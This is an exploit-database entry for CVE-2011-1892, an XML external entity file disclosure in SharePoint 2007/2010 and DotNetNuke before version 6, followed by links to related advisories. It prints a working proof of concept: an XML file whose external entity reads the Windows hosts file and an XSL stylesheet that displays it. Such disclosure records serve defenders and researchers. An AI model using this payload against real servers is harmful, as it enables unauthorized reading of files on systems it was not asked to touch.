Lucene search
RootSSV:72143HistoryJul 01, 2014 - 12:00 a.m.
SharePoint 2007/2010 and DotNetNuke < 6 - File disclosure via XEE
2014-07-0100:00:00
Root
www.seebug.org
29
0.027 Low
EPSS
Percentile
89.4%
No description provided by source.
Exploit Title: File disclosure via XEE in SharePoint and DotNetNuke
Date: September 15, 2011
Author: Nicolas Gregoire
Version: SharePoint 2007 / 2010, DotNetNuke < 6
CVE : CVE-2011-1892
poc filename: xee.xml
<!DOCTYPE doc [
<!ENTITY boom SYSTEM "c:\\windows\\system32\\drivers\\etc\\hosts">
]>
<doc>&boom;</doc>
poc filename: xee.xsl
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:apply-templates/>
<xsl:value-of select="doc"/>
</xsl:template>
</xsl:stylesheet>
Related
checkpoint_advisories
checkpoint_advisories
prion
prion
Arbitrary file deletion
2011-09-15 12:26:00
exploitpack
exploitpack
SharePoint 20072010 and DotNetNuke 6 - File Disclosure (via XEE)
2011-09-20 00:00:00
packetstorm
packetstorm
SharePoint 2007 / 2010 And DotNetNuke File Disclosure
2011-09-21 00:00:00
seebug
seebug
Microsoft SharePoint XMLε€ηθΏη¨ζδ»Άζ³ι²ζΌζ΄
2011-10-21 00:00:00
cve
cve
CVE-2011-1892
2011-09-15 12:26:00
securityvulns
securityvulns
XEE vulnerabilities in SharePoint (MS11-074) and DotNetNuke
2011-09-20 00:00:00
Microsoft Sharepoint multiple security vulnerabilities
2011-09-20 00:00:00
exploitdb
exploitdb
SharePoint 2007/2010 and DotNetNuke < 6 - File Disclosure (via XEE)
2011-09-20 00:00:00
nessus
nessus
openvas
openvas
Microsoft SharePoint Multiple Privilege Escalation Vulnerabilities (2451858)
2011-09-14 00:00:00
Microsoft SharePoint Multiple Privilege Escalation Vulnerabilities (2451858)
2011-09-14 00:00:00
mskb
mskb